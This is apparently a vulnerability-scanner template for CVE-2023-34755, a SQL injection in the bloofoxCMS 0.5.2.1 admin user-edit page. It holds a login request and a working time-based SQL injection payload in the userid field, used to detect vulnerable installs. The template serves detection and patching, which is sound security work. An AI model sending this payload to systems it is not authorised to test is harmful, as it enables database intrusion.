bloofoxCMS v0.5.2.1 - SQL Injection

id: CVE-2023-34755

info:
  name: bloofoxCMS v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the userid parameter at admin/index.php?mode=user&action=edit.
  impact: |
    Authenticated attackers can exploit SQL injection through the userid parameter in user management to extract database contents, manipulate user accounts, and potentially gain administrator access to the bloofoxCMS system.
  remediation: |
    Update bloofoxCMS to a version newer than 0.5.2.1 that uses parameterized queries or prepared statements for the userid parameter in admin/index.php user editing functionality.
  reference:
    - https://www.bloofox.com
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34755
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34755
    cwe-id: CWE-89
    epss-score: 0.04228
    epss-percentile: 0.89807
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=user&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&pwdconfirm=test&blocked=0&deleted=0&status=0&login_page=0&userid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - contains(header_2, "text/html")
          - contains(body_2, 'bloofoxCMS Admincenter')
        condition: and
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